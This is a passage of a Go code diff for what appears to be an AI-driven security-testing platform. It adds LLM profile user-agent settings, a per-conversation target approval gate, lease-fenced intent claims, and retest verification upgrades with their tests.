+	// old profiles behave exactly as before. Maps to agent.Config.UserAgent.
+	UserAgent string `json:"user_agent"`
 	// Cost ledger: EUR per 1M tokens (0 = unset; cost is computed only when a
 	// price is set). Set through the same profile API/SaveProfile path.
 	PriceInputPerM      float64 `json:"price_input_per_m,omitempty"`
@@ -89,8 +93,8 @@ type RetryOverride struct {
 // profileCols is the read column list (hint variant, no api key) shared by the
 // list query; profileColsKey is the same with api_key for the single-row loads.
 const profileRetryCols = `COALESCE(retry_connect_attempts,0),COALESCE(retry_connect_interval_ms,0),COALESCE(retry_empty_attempts,0),COALESCE(retry_empty_interval_ms,0),COALESCE(retry_stream_attempts,0),COALESCE(retry_stream_interval_ms,0)`
-const profileCols = `id,name,format,COALESCE(base_url,''),COALESCE(proxy,''),model,COALESCE(api_key_hint,''),rate_per_second,rate_per_minute,context_window_k,COALESCE(reasoning_effort,''),is_default,priority,pool_exclude,COALESCE(thinking_type,''),COALESCE(streaming,true),COALESCE(max_tokens,0),COALESCE(max_tokens_field,''),COALESCE(session_header_key,''),` + profileRetryCols + `,COALESCE(price_input_per_m,0),COALESCE(price_output_per_m,0),COALESCE(price_cache_read_per_m,0),COALESCE(price_cache_write_per_m,0)`
-const profileColsKey = `id,name,format,COALESCE(base_url,''),COALESCE(proxy,''),model,COALESCE(api_key,''),rate_per_second,rate_per_minute,context_window_k,COALESCE(reasoning_effort,''),is_default,priority,pool_exclude,COALESCE(thinking_type,''),COALESCE(streaming,true),COALESCE(max_tokens,0),COALESCE(max_tokens_field,''),COALESCE(session_header_key,''),` + profileRetryCols + `,COALESCE(price_input_per_m,0),COALESCE(price_output_per_m,0),COALESCE(price_cache_read_per_m,0),COALESCE(price_cache_write_per_m,0)`
+const profileCols = `id,name,format,COALESCE(base_url,''),COALESCE(proxy,''),model,COALESCE(api_key_hint,''),rate_per_second,rate_per_minute,context_window_k,COALESCE(reasoning_effort,''),is_default,priority,pool_exclude,COALESCE(thinking_type,''),COALESCE(streaming,true),COALESCE(max_tokens,0),COALESCE(max_tokens_field,''),COALESCE(session_header_key,''),` + profileRetryCols + `,COALESCE(price_input_per_m,0),COALESCE(price_output_per_m,0),COALESCE(price_cache_read_per_m,0),COALESCE(price_cache_write_per_m,0),COALESCE(user_agent,'')`
+const profileColsKey = `id,name,format,COALESCE(base_url,''),COALESCE(proxy,''),model,COALESCE(api_key,''),rate_per_second,rate_per_minute,context_window_k,COALESCE(reasoning_effort,''),is_default,priority,pool_exclude,COALESCE(thinking_type,''),COALESCE(streaming,true),COALESCE(max_tokens,0),COALESCE(max_tokens_field,''),COALESCE(session_header_key,''),` + profileRetryCols + `,COALESCE(price_input_per_m,0),COALESCE(price_output_per_m,0),COALESCE(price_cache_read_per_m,0),COALESCE(price_cache_write_per_m,0),COALESCE(user_agent,'')`
 
 // scanProfile reads one row in the profileCols / profileColsKey column order. The
 // 7th column lands in APIKeyHint or APIKey depending on which list the caller used.
@@ -101,7 +105,8 @@ func scanProfile(sc interface{ Scan(...any) error }, into *string, p *LLMProfile
 		&p.Retry.Connect.Attempts, &p.Retry.Connect.IntervalMS,
 		&p.Retry.Empty.Attempts, &p.Retry.Empty.IntervalMS,
 		&p.Retry.Stream.Attempts, &p.Retry.Stream.IntervalMS,
-		&p.PriceInputPerM, &p.PriceOutputPerM, &p.PriceCacheReadPerM, &p.PriceCacheWritePerM)
+		&p.PriceInputPerM, &p.PriceOutputPerM, &p.PriceCacheReadPerM, &p.PriceCacheWritePerM,
+		&p.UserAgent)
 }
 
 func (d *DB) ListProfiles() ([]*LLMProfile, error) {
@@ -180,27 +185,27 @@ func (d *DB) SaveProfile(p *LLMProfile) (int64, error) {
 	r := p.Retry.Clamped()
 	if p.ID == 0 {
 		var id int64
-		err := d.QueryRow(`INSERT INTO llm_profiles(name,format,base_url,proxy,model,api_key,api_key_hint,rate_per_second,rate_per_minute,context_window_k,reasoning_effort,priority,pool_exclude,thinking_type,streaming,max_tokens,max_tokens_field,session_header_key,retry_connect_attempts,retry_connect_interval_ms,retry_empty_attempts,retry_empty_interval_ms,retry_stream_attempts,retry_stream_interval_ms)
-VALUES ($1,$2,NULLIF($3,''),NULLIF($4,''),$5,NULLIF($6,''),NULLIF($7,''),$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24) RETURNING id`,
+		err := d.QueryRow(`INSERT INTO llm_profiles(name,format,base_url,proxy,model,api_key,api_key_hint,rate_per_second,rate_per_minute,context_window_k,reasoning_effort,priority,pool_exclude,thinking_type,streaming,max_tokens,max_tokens_field,session_header_key,retry_connect_attempts,retry_connect_interval_ms,retry_empty_attempts,retry_empty_interval_ms,retry_stream_attempts,retry_stream_interval_ms,user_agent)
+VALUES ($1,$2,NULLIF($3,''),NULLIF($4,''),$5,NULLIF($6,''),NULLIF($7,''),$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25) RETURNING id`,
 			p.Name, p.Format, p.BaseURL, p.Proxy, p.Model, p.APIKey, hint, p.RatePerSecond, p.RatePerMinute, p.ContextWindowK, p.ReasoningEffort, p.Priority, p.PoolExclude, p.ThinkingType, p.Streaming, p.MaxTokens, p.MaxTokensField, p.SessionHeaderKey,
-			r.Connect.Attempts, r.Connect.IntervalMS, r.Empty.Attempts, r.Empty.IntervalMS, r.Stream.Attempts, r.Stream.IntervalMS).Scan(&id)
+			r.Connect.Attempts, r.Connect.IntervalMS, r.Empty.Attempts, r.Empty.IntervalMS, r.Stream.Attempts, r.Stream.IntervalMS, p.UserAgent).Scan(&id)
 		if err == nil {
 			_, err = d.saveProfilePrices(id, p)
 		}
 		return id, err
 	}
 	if p.APIKey == "" {
-		_, err := d.Exec(`UPDATE llm_profiles SET name=$1,format=$2,base_url=NULLIF($3,''),proxy=NULLIF($4,''),model=$5,rate_per_second=$6,rate_per_minute=$7,context_window_k=$8,reasoning_effort=$9,priority=$10,pool_exclude=$11,thinking_type=$12,streaming=$13,max_tokens=$14,max_tokens_field=$15,session_header_key=$16,retry_connect_attempts=$17,retry_connect_interval_ms=$18,retry_empty_attempts=$19,retry_empty_interval_ms=$20,retry_stream_attempts=$21,retry_stream_interval_ms=$22 WHERE id=$23`,
+		_, err := d.Exec(`UPDATE llm_profiles SET name=$1,format=$2,base_url=NULLIF($3,''),proxy=NULLIF($4,''),model=$5,rate_per_second=$6,rate_per_minute=$7,context_window_k=$8,reasoning_effort=$9,priority=$10,pool_exclude=$11,thinking_type=$12,streaming=$13,max_tokens=$14,max_tokens_field=$15,session_header_key=$16,retry_connect_attempts=$17,retry_connect_interval_ms=$18,retry_empty_attempts=$19,retry_empty_interval_ms=$20,retry_stream_attempts=$21,retry_stream_interval_ms=$22,user_agent=$23 WHERE id=$24`,
 			p.Name, p.Format, p.BaseURL, p.Proxy, p.Model, p.RatePerSecond, p.RatePerMinute, p.ContextWindowK, p.ReasoningEffort, p.Priority, p.PoolExclude, p.ThinkingType, p.Streaming, p.MaxTokens, p.MaxTokensField, p.SessionHeaderKey,
-			r.Connect.Attempts, r.Connect.IntervalMS, r.Empty.Attempts, r.Empty.IntervalMS, r.Stream.Attempts, r.Stream.IntervalMS, p.ID)
+			r.Connect.Attempts, r.Connect.IntervalMS, r.Empty.Attempts, r.Empty.IntervalMS, r.Stream.Attempts, r.Stream.IntervalMS, p.UserAgent, p.ID)
 		if err == nil {
 			_, err = d.saveProfilePrices(p.ID, p)
 		}
 		return p.ID, err
 	}
-	_, err := d.Exec(`UPDATE llm_profiles SET name=$1,format=$2,base_url=NULLIF($3,''),proxy=NULLIF($4,''),model=$5,api_key=$6,api_key_hint=$7,rate_per_second=$8,rate_per_minute=$9,context_window_k=$10,reasoning_effort=$11,priority=$12,pool_exclude=$13,thinking_type=$14,streaming=$15,max_tokens=$16,max_tokens_field=$17,session_header_key=$18,retry_connect_attempts=$19,retry_connect_interval_ms=$20,retry_empty_attempts=$21,retry_empty_interval_ms=$22,retry_stream_attempts=$23,retry_stream_interval_ms=$24 WHERE id=$25`,
+	_, err := d.Exec(`UPDATE llm_profiles SET name=$1,format=$2,base_url=NULLIF($3,''),proxy=NULLIF($4,''),model=$5,api_key=$6,api_key_hint=$7,rate_per_second=$8,rate_per_minute=$9,context_window_k=$10,reasoning_effort=$11,priority=$12,pool_exclude=$13,thinking_type=$14,streaming=$15,max_tokens=$16,max_tokens_field=$17,session_header_key=$18,retry_connect_attempts=$19,retry_connect_interval_ms=$20,retry_empty_attempts=$21,retry_empty_interval_ms=$22,retry_stream_attempts=$23,retry_stream_interval_ms=$24,user_agent=$25 WHERE id=$26`,
 		p.Name, p.Format, p.BaseURL, p.Proxy, p.Model, p.APIKey, hint, p.RatePerSecond, p.RatePerMinute, p.ContextWindowK, p.ReasoningEffort, p.Priority, p.PoolExclude, p.ThinkingType, p.Streaming, p.MaxTokens, p.MaxTokensField, p.SessionHeaderKey,
-		r.Connect.Attempts, r.Connect.IntervalMS, r.Empty.Attempts, r.Empty.IntervalMS, r.Stream.Attempts, r.Stream.IntervalMS, p.ID)
+		r.Connect.Attempts, r.Connect.IntervalMS, r.Empty.Attempts, r.Empty.IntervalMS, r.Stream.Attempts, r.Stream.IntervalMS, p.UserAgent, p.ID)
 	if err == nil {
 		_, err = d.saveProfilePrices(p.ID, p)
 	}

db/conversation.go

@@ -58,20 +58,24 @@ type Conversation struct {
 	PinnedAt     *time.Time `json:"pinned_at,omitempty"`
 	CreatedAt    time.Time  `json:"created_at"`
 	UpdatedAt    time.Time  `json:"updated_at"`
+	// TargetGate is the per-conversation opt-in of the approval gate for asset
+	// targets (a chat has no task). false (default) = no gate.
+	TargetGate bool `json:"target_gate"`
 }
 
 // ConversationPatch updates only the fields whose pointers are non-nil.
 type ConversationPatch struct {
-	Title  *string
-	Pinned *bool
+	Title      *string
+	Pinned     *bool
+	TargetGate *bool
 }
 
-const convCols = `id, agent_key, title, llm_profile_id, pinned_at, created_at, updated_at`
+const convCols = `id, agent_key, title, llm_profile_id, pinned_at, created_at, updated_at, target_gate`
 
 func scanConv(row interface{ Scan(...any) error }) (Conversation, error) {
 	var c Conversation
 	var pinnedAt sql.NullTime
-	err := row.Scan(&c.ID, &c.AgentKey, &c.Title, &c.LLMProfileID, &pinnedAt, &c.CreatedAt, &c.UpdatedAt)
+	err := row.Scan(&c.ID, &c.AgentKey, &c.Title, &c.LLMProfileID, &pinnedAt, &c.CreatedAt, &c.UpdatedAt, &c.TargetGate)
 	if pinnedAt.Valid {
 		c.Pinned = true
 		c.PinnedAt = &pinnedAt.Time
@@ -82,6 +86,12 @@ func scanConv(row interface{ Scan(...any) error }) (Conversation, error) {
 // CreateConversation opens a new chat thread for agentKey with an initial title.
 // llmProfileID may be nil to use the globally active profile.
 func (d *DB) CreateConversation(agentKey, title string, llmProfileID *int64) (*Conversation, error) {
+	return d.CreateConversationGated(agentKey, title, llmProfileID, false)
+}
+
+// CreateConversationGated is CreateConversation with the target-gate opt-in set
+// at creation.
+func (d *DB) CreateConversationGated(agentKey, title string, llmProfileID *int64, targetGate bool) (*Conversation, error) {
 	tx, err := d.Begin()
 	if err != nil {
 		return nil, err
@@ -92,8 +102,8 @@ func (d *DB) CreateConversation(agentKey, title string, llmProfileID *int64) (*C
 	// by this transaction before it takes a profile lock, matching DeleteProfile's
 	// child-row -> profile-row protocol.
 	c, err := scanConv(tx.QueryRow(`
-INSERT INTO conversations(agent_key, title, llm_profile_id) VALUES ($1, $2, NULL)
-RETURNING `+convCols, agentKey, title))
+INSERT INTO conversations(agent_key, title, llm_profile_id, target_gate) VALUES ($1, $2, NULL, $3)
+RETURNING `+convCols, agentKey, title, targetGate))
 	if err != nil {
 		return nil, err
 	}
@@ -169,7 +179,7 @@ func (d *DB) GetConversation(id int64) (*Conversation, error) {
 	return &c, nil
 }
 
-// UpdateConversation applies a partial title/pin mutation and returns the updated
+// UpdateConversation applies a partial title/pin/target-gate mutation and returns the updated
 // row. Pinning an already-pinned conversation preserves its original pin order.
 func (d *DB) UpdateConversation(id int64, patch ConversationPatch) (*Conversation, error) {
 	c, err := scanConv(d.QueryRow(`UPDATE conversations SET
@@ -178,9 +188,10 @@ func (d *DB) UpdateConversation(id int64, patch ConversationPatch) (*Conversatio
 		WHEN $4::boolean IS NULL THEN pinned_at
 		WHEN $4::boolean THEN COALESCE(pinned_at, now())
 		ELSE NULL
-	END
+	END,
+	target_gate = CASE WHEN $5::boolean THEN $6 ELSE target_gate END
 WHERE id=$1
-RETURNING `+convCols, id, patch.Title != nil, patch.Title, patch.Pinned))
+RETURNING `+convCols, id, patch.Title != nil, patch.Title, patch.Pinned, patch.TargetGate != nil, patch.TargetGate))
 	if err == sql.ErrNoRows {
 		return nil, nil
 	}
@@ -203,19 +214,37 @@ func (d *DB) TouchConversation(id int64) error {
 	return err
 }
 
-// DeleteConversation removes a thread; its activities cascade via FK.
+// DeleteConversation removes a thread; its activities cascade via FK. Its
+// target pins are not rows of the thread: they are revoked in the same
+// transaction and stay as history.
 func (d *DB) DeleteConversation(id int64) error {
-	_, err := d.Exec(`DELETE FROM conversations WHERE id=$1`, id)
-	return err
+	tx, err := d.Begin()
+	if err != nil {
+		return err
+	}
+	defer tx.Rollback()
+	if err := revokeConversationPins(tx, []int64{id}); err != nil {
+		return err
+	}
+	if _, err := tx.Exec(`DELETE FROM conversations WHERE id=$1`, id); err != nil {
+		return err
+	}
+	return tx.Commit()
 }
 
 // DeleteConversations removes existing threads in one statement and returns the
-// ids that were actually present. Child activities and trigger runs cascade.
+// ids that were actually present. Child activities and trigger runs cascade. The
+// target pins of the removed threads are revoked in the same transaction.
 func (d *DB) DeleteConversations(ids []int64) ([]int64, error) {
 	if len(ids) == 0 {
 		return []int64{}, nil
 	}
-	rows, err := d.Query(`DELETE FROM conversations WHERE id=ANY($1::bigint[]) RETURNING id`, ids)
+	tx, err := d.Begin()
+	if err != nil {
+		return nil, err
+	}
+	defer tx.Rollback()
+	rows, err := tx.Query(`DELETE FROM conversations WHERE id=ANY($1::bigint[]) RETURNING id`, ids)
 	if err != nil {
 		return nil, err
 	}
@@ -228,7 +257,14 @@ func (d *DB) DeleteConversations(ids []int64) ([]int64, error) {
 		}
 		deleted = append(deleted, id)
 	}
-	return deleted, rows.Err()
+	if err := rows.Err(); err != nil {
+		return nil, err
+	}
+	rows.Close()
+	if err := revokeConversationPins(tx, deleted); err != nil {
+		return nil, err
+	}
+	return deleted, tx.Commit()
 }
 
 // AppendConvActivity records one step of a conversation (human message or an agent

db/exploration.go

@@ -2,7 +2,9 @@ package db
 
 import (
 	"bytes"
+	"crypto/rand"
 	"database/sql"
+	"encoding/hex"
 	"encoding/json"
 	"errors"
 	"fmt"
@@ -16,6 +18,33 @@ import (
 // it to distinguish an expected control race (HTTP 409) from a storage failure.
 var ErrIntentStateConflict = errors.New("intent state changed concurrently")
 
+// ErrIntentClaimLost marks a heartbeat or a result write rejected by the claim
+// fence: the caller's unclaim token is no longer the intent's current one (its
+// claim expired and another worker took the intent over, or it was already
+// settled). Nothing was written; the caller must stop working on that intent.
+var ErrIntentClaimLost = errors.New("intent claim lost")
+
+// IntentClaimTTL is how long an intent claim stays valid without a heartbeat. A
+// running intent whose last_heartbeat_at is older than this (per the database
+// clock) is considered abandoned — its worker crashed or its process is gone —
+// and may be taken over; a younger claim is live and is never taken over. It is
+// six heartbeat intervals, so a live worker loses its claim only after five
+// consecutive missed heartbeats (about 75s of lost database connectivity).
+const IntentClaimTTL = 90 * time.Second
+
+// IntentClaimHeartbeatInterval is how often a busy worker renews its claim, and
+// how often the engine looks for expired claims to take over.
+const IntentClaimHeartbeatInterval = 15 * time.Second
+
+// newUnclaimToken returns a fresh random claim token (128 bits, hex).
+func newUnclaimToken() (string, error) {
+	var b [16]byte
+	if _, err := rand.Read(b[:]); err != nil {
+		return "", err
+	}
+	return hex.EncodeToString(b[:]), nil
+}
+
 // utf8Clean makes a string safe for a PostgreSQL text column. It (1) replaces
 // invalid UTF-8 byte sequences with U+FFFD and (2) strips NUL (0x00) bytes.
 // Tool output (nmap/curl/… stdout) can carry raw/truncated bytes that PostgreSQL's
@@ -309,9 +338,19 @@ func (s *ExplorationStore) DeleteGoal(id int64) error {
 // is re-claimed. Called on startup: a 'running' intent with no live worker (a
 // backend restart or crashed worker goroutine left it stuck) would otherwise spin
 // forever in the UI. Workers resume from their transcript, so reopening is safe.
+//
+// Only an expired claim is taken over: last_heartbeat_at older than
+// IntentClaimTTL, or NULL (a legacy row claimed before the lease columns
+// existed, whose claimer never heartbeats). A live claim — including one held by
+// another instance on the same database — is left alone. The expiry check and
+// the takeover are one atomic UPDATE on the database clock, and clearing
+// unclaim_token fences the previous claimer out. The engine also calls this
+// periodically, so a claim that was still live at startup is taken over once it
+// expires.
 func (s *ExplorationStore) ResetRunningIntents() (int64, error) {
-	res, err := s.db.Exec(`UPDATE exploration_nodes SET state='open', completed_at=NULL, blocked_reason=NULL
-WHERE exploration_id=$1 AND kind='intent' AND state='running'`, s.expID)
+	res, err := s.db.Exec(`UPDATE exploration_nodes SET state='open', completed_at=NULL, blocked_reason=NULL, unclaim_token=NULL
+WHERE exploration_id=$1 AND kind='intent' AND state='running'
+  AND (last_heartbeat_at IS NULL OR last_heartbeat_at < now() - $2 * INTERVAL '1 second')`, s.expID, IntentClaimTTL.Seconds())
 	if err != nil {
 		return 0, err
 	}
@@ -1216,13 +1255,107 @@ WHERE exploration_id=$1 AND kind='goal' AND state='open' ORDER BY id`, s.expID)
 
 // ClaimIntent atomically moves an open intent to running. Returns true if claimed.
 func (s *ExplorationStore) ClaimIntent(id int64, owner string) (bool, error) {
-	res, err := s.db.Exec(`UPDATE exploration_nodes SET state='running', owner=$1
-WHERE id=$2 AND exploration_id=$3 AND kind='intent' AND state='open'`, owner, id, s.expID)
+	token, err := s.ClaimIntentToken(id, owner)
+	return token != "", err
+}
+
+// ClaimIntentToken is ClaimIntent returning the claim's unclaim token ("" when
+// the intent was not claimable). Every claim gets a fresh random token and
+// starts its lease (last_heartbeat_at) in the same statement; the claimer must
+// present the token to HeartbeatIntentClaim and to the SettleIntentClaim* writes.
+func (s *ExplorationStore) ClaimIntentToken(id int64, owner string) (string, error) {
+	token, err := newUnclaimToken()
 	if err != nil {
-		return false, err
+		return "", err
 	}
-	n, _ := res.RowsAffected()
-	return n == 1, nil
+	res, err := s.db.Exec(`UPDATE exploration_nodes SET state='running', owner=$1, unclaim_token=$4, last_heartbeat_at=now()
+WHERE id=$2 AND exploration_id=$3 AND kind='intent' AND state='open'`, owner, id, s.expID, token)
+	if err != nil {
+		return "", err
+	}
+	if n, _ := res.RowsAffected(); n != 1 {
+		return "", nil
+	}
+	return token, nil
+}
+
+// ClaimPausedIntentToken is the paused->running counterpart of ClaimIntentToken
+// (the human-message path, which never goes through 'open'). It applies the same
+// column updates as CompareAndSetIntentState(id, "paused", "running") and starts
+// a claim with a fresh token. Returns "" when the intent is no longer paused.
+func (s *ExplorationStore) ClaimPausedIntentToken(id int64) (string, error) {
+	token, err := newUnclaimToken()
+	if err != nil {
+		return "", err
+	}
+	res, err := s.db.Exec(`UPDATE exploration_nodes
+SET state='running', blocked_reason=NULL, content_version=content_version+1, completed_at=NULL, unclaim_token=$3, last_heartbeat_at=now()
+WHERE id=$1 AND exploration_id=$2 AND kind='intent' AND state='paused'`, id, s.expID, token)
+	if err != nil {
+		return "", err
+	}
+	if n, _ := res.RowsAffected(); n != 1 {
+		return "", nil
+	}
+	return token, nil
+}
+
+// HeartbeatIntentClaim renews the lease of the claim identified by token. It
+// touches the row only while token is the running intent's current unclaim
+// token; otherwise it returns ErrIntentClaimLost and writes nothing.
+func (s *ExplorationStore) HeartbeatIntentClaim(id int64, token string) error {
+	res, err := s.db.Exec(`UPDATE exploration_nodes SET last_heartbeat_at=now()
+WHERE id=$1 AND exploration_id=$2 AND kind='intent' AND state='running' AND unclaim_token=$3`, id, s.expID, token)
+	if err != nil {
+		return err
+	}
+	if n, _ := res.RowsAffected(); n != 1 {
+		return fmt.Errorf("%w: heartbeat for intent %d rejected", ErrIntentClaimLost, id)
+	}
+	return nil
+}
+
+// SettleIntentClaim is the fenced write of a worker's intent result: it moves
+// the running intent to state and releases the claim, but only while token is
+// still the intent's current unclaim token. A worker whose claim was taken over
+// gets ErrIntentClaimLost and nothing is written. ErrIntentStateConflict means
+// the claim is still the caller's but the intent left 'running' concurrently.
+func (s *ExplorationStore) SettleIntentClaim(id int64, token, state string) error {
+	terminal := state == "done" || state == "blocked" || state == "exhausted" || state == "stopped"
+	res, err := s.db.Exec(`UPDATE exploration_nodes
+SET state=$1, blocked_reason=NULL, content_version=content_version+1, completed_at = CASE WHEN $5 THEN now() ELSE NULL END, unclaim_token=NULL
+WHERE id=$2 AND exploration_id=$3 AND kind='intent' AND state='running' AND unclaim_token=$4`, state, id, s.expID, token, terminal)
+	return s.settleIntentClaimResult(id, token, res, err)
+}
+
+// SettleIntentClaimBlocked is the fenced counterpart of SetIntentBlockedReason:
+// it settles the running intent as blocked with reason under the same token
+// check as SettleIntentClaim.
+func (s *ExplorationStore) SettleIntentClaimBlocked(id int64, token, reason string) error {
+	res, err := s.db.Exec(`UPDATE exploration_nodes
+SET state='blocked', blocked_reason=NULLIF($1,''), completed_at=now(), unclaim_token=NULL
+WHERE id=$2 AND exploration_id=$3 AND kind='intent' AND state='running' AND unclaim_token=$4`, reason, id, s.expID, token)
+	return s.settleIntentClaimResult(id, token, res, err)
+}
+
+// settleIntentClaimResult turns a fenced settle that matched no row into the
+// explicit rejection: claim lost unless the token is still the current one.
+func (s *ExplorationStore) settleIntentClaimResult(id int64, token string, res sql.Result, err error) error {
+	if err != nil {
+		return err
+	}
+	if n, _ := res.RowsAffected(); n == 1 {
+		return nil
+	}
+	var current sql.NullString
+	err = s.db.QueryRow(`SELECT unclaim_token FROM exploration_nodes WHERE id=$1 AND exploration_id=$2 AND kind='intent'`, id, s.expID).Scan(&current)
+	if err != nil && err != sql.ErrNoRows {
+		return err
+	}
+	if current.Valid && current.String == token {
+		return fmt.Errorf("%w: intent %d is no longer in the running state", ErrIntentStateConflict, id)
+	}
+	return fmt.Errorf("%w: result write for intent %d rejected", ErrIntentClaimLost, id)
 }
 
 // Stats returns node counts grouped by kind (for dashboard).

db/export_test.go

@@ -0,0 +1,4 @@
+package db
+
+// InterceptSource exposes interceptSource to external (db_test) tests.
+var InterceptSource = interceptSource

db/finding_retests.go

@@ -12,6 +12,19 @@ import (
 
 const FindingRetestAgentKey = "retester"
 
+// retestNoteSummaryRunes caps the retest summary copied into verification_note.
+const retestNoteSummaryRunes = 200
+
+// truncateRunes returns s trimmed to at most n runes, with an ellipsis when cut.
+func truncateRunes(s string, n int) string {
+	s = strings.TrimSpace(s)
+	r := []rune(s)
+	if len(r) <= n {
+		return s
+	}
+	return string(r[:n]) + "…"
+}
+
 var ErrRetestNotRunning = errors.New("this retest has ended or has not started; please start a new retest from the finding details")
 
 // FindingRetest is an immutable historical test once its conversation turn ends.
@@ -101,8 +114,11 @@ func (d *DB) CreateFindingRetest(ctx context.Context, findingID int64, notes str
 	if runes := []rune(title); len(runes) > 100 {
 		title = string(runes[:100])
 	}
-	c, err := scanConv(tx.QueryRowContext(ctx, `INSERT INTO conversations(agent_key,title) VALUES ($1,$2) RETURNING `+convCols,
-		FindingRetestAgentKey, fmt.Sprintf("Retest #%d · %s", findingID, title)))
+	// The retest conversation takes the target-gate opt-in of the finding's task.
+	// Pins are never copied: a pin belongs to the scope it was approved in.
+	c, err := scanConv(tx.QueryRowContext(ctx, `INSERT INTO conversations(agent_key,title,target_gate) VALUES ($1,$2,
+	COALESCE((SELECT t.target_gate FROM findings f JOIN tasks t ON t.id=f.task_id WHERE f.id=$3), false)) RETURNING `+convCols,
+		FindingRetestAgentKey, fmt.Sprintf("Retest #%d · %s", findingID, title), findingID))
 	if err != nil {
 		return nil, nil, false, err
 	}
@@ -225,17 +241,29 @@ func (d *DB) FinishFindingRetest(id int64, status, reason string) error {
 	if err != nil {
 		return err
 	}
-	var finalStatus, verdict string
+	var finalStatus, verdict, summary string
 	err = tx.QueryRow(`UPDATE finding_retests SET
 	status=CASE WHEN $2='completed' AND verdict='' THEN 'failed' ELSE $2 END,
 	error=CASE WHEN $2='completed' AND verdict='' THEN 'Agent did not save the retest conclusion; please review the conversation and retest again' ELSE $3 END,
-	finished_at=now() WHERE id=$1 AND status IN ('pending','running') RETURNING status,verdict`, id, status, reason).Scan(&finalStatus, &verdict)
+	finished_at=now() WHERE id=$1 AND status IN ('pending','running') RETURNING status,verdict,summary`, id, status, reason).Scan(&finalStatus, &verdict, &summary)
 	if errors.Is(err, sql.ErrNoRows) {
 		return nil // A replay must not overwrite a later manual triage decision.
 	}
 	if err != nil {
 		return err
 	}
+	// A completed reproduced/fixed retest is an independent proof: it upgrades the
+	// machine verification state, but only from unverified / not_assessed / blocked.
+	// A verified finding keeps its POE level and note. An inconclusive, failed or
+	// stopped retest never downgrades anything; its verdict stays in finding_retests.
+	// The human disposition (status) is not touched here.
+	if finalStatus == "completed" && (verdict == "reproduced" || verdict == "fixed") {
+		note := fmt.Sprintf("retest #%d: %s — %s", id, verdict, truncateRunes(summary, retestNoteSummaryRunes))
+		if _, err := tx.Exec(`UPDATE findings SET verification_status='verified', verification_note=$2
+			WHERE id=$1 AND verification_status IN ('unverified','not_assessed','blocked')`, findingID, note); err != nil {
+			return err
+		}
+	}
 	if finalStatus == "completed" && verdict == "fixed" {
 		// Go through the notifying version, sharing the same semantics as a
 		// manual status change on the details page.

db/finding_retests_verification_test.go

@@ -0,0 +1,107 @@
+package db
+
+import (
+	"strings"
+	"testing"
+)
+
+// runRetest drives one retest session to its terminal state with the given
+// staged verdict, using the same calls the server makes, and returns its ID.
+func runRetest(t *testing.T, d *DB, fid int64, verdict, summary, finish string) int64 {
+	t.Helper()
+	ctx := t.Context()
+	r, c, _, err := d.CreateFindingRetest(ctx, fid, "")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if ok, err := d.StartFindingRetest(ctx, r.ID); err != nil || !ok {
+		t.Fatalf("start retest: ok=%v err=%v", ok, err)
+	}
+	if verdict != "" {
+		if err := d.RecordFindingRetestResult(ctx, c.ID, verdict, summary, "retest evidence"); err != nil {
+			t.Fatal(err)
+		}
+	}
+	if err := d.FinishFindingRetest(r.ID, finish, ""); err != nil {
+		t.Fatal(err)
+	}
+	return r.ID
+}
+
+func verificationOf(t *testing.T, d *DB, fid int64) (status string, poe int, note string) {
+	t.Helper()
+	if err := d.QueryRow(`SELECT verification_status, poe_level, verification_note FROM findings WHERE id=$1`, fid).
+		Scan(&status, &poe, &note); err != nil {
+		t.Fatal(err)
+	}
+	return
+}
+
+func TestRetestReproducedVerifiesUnverifiedFinding(t *testing.T) {
+	d, fid := retestDB(t)
+	runRetest(t, d, fid, "reproduced", "still exploitable with the original PoC", "completed")
+	status, _, note := verificationOf(t, d, fid)
+	if status != VerificationVerified || !strings.Contains(note, "retest") || !strings.Contains(note, "reproduced") {
+		t.Fatalf("verification after reproduced: status=%s note=%q", status, note)
+	}
+}
+
+func TestRetestFixedVerifiesAndKeepsFixedStatus(t *testing.T) {
+	d, fid := retestDB(t)
+	runRetest(t, d, fid, "fixed", "payload now rejected, control still works", "completed")
+	status, _, note := verificationOf(t, d, fid)
+	if status != VerificationVerified || !strings.Contains(note, "retest") || !strings.Contains(note, "fixed") {
+		t.Fatalf("verification after fixed: status=%s note=%q", status, note)
+	}
+	f, err := d.GetFinding(fid)
+	if err != nil || f == nil {
+		t.Fatalf("get finding: %v", err)
+	}
+	if f.Status != FindingFixed {
+		t.Fatalf("human status after fixed retest = %q, want %q", f.Status, FindingFixed)
+	}
+}
+
+func TestRetestInconclusiveDoesNotDowngradeVerified(t *testing.T) {
+	d, fid := retestDB(t)
+	if err := d.SetFindingVerification(fid, VerificationVerified, 3, ""); err != nil {
+		t.Fatal(err)
+	}
+	runRetest(t, d, fid, "inconclusive", "target unreachable from the retest session", "completed")
+	status, poe, note := verificationOf(t, d, fid)
+	if status != VerificationVerified || poe != 3 || note != "" {
+		t.Fatalf("verified finding after inconclusive: status=%s poe=%d note=%q", status, poe, note)
+	}
+}
+
+func TestRetestFailedOrStoppedLeavesVerificationUnchanged(t *testing.T) {
+	for _, finish := range []string{"failed", "stopped"} {
+		t.Run(finish, func(t *testing.T) {
+			d, fid := retestDB(t)
+			if err := d.SetFindingVerification(fid, VerificationNotAssessed, 3, "earlier note"); err != nil {
+				t.Fatal(err)
+			}
+			// A verdict staged before the session was cut off must not count.
+			runRetest(t, d, fid, "reproduced", "staged before interruption", finish)
+			status, poe, note := verificationOf(t, d, fid)
+			if status != VerificationNotAssessed || poe != 3 || note != "earlier note" {
+				t.Fatalf("after %s: status=%s poe=%d note=%q", finish, status, poe, note)
+			}
+		})
+	}
+}
+
+func TestRetestUpgradesFromNotAssessedAndBlocked(t *testing.T) {
+	for _, from := range []string{VerificationNotAssessed, VerificationBlocked} {
+		t.Run(from, func(t *testing.T) {
+			d, fid := retestDB(t)
+			if err := d.SetFindingVerification(fid, from, 0, ""); err != nil {
+				t.Fatal(err)
+			}
+			runRetest(t, d, fid, "reproduced", "reproduced on retest", "completed")
+			if status, _, _ := verificationOf(t, d, fid); status != VerificationVerified {
+				t.Fatalf("from %s after reproduced: status=%s", from, status)
+			}
+		})
+	}
+}

db/finding_verification.go

@@ -0,0 +1,50 @@
+package db
+
+import (
+	"fmt"
+)
+
+// Machine-checked verification state of a finding (S1). Kept apart from
+// findings.status, which is the human disposition. Values are validated here
+// (server-side), not by a CHECK constraint, like the other findings columns.
+const (
+	VerificationVerified      = "verified"
+	VerificationUnverified    = "unverified"
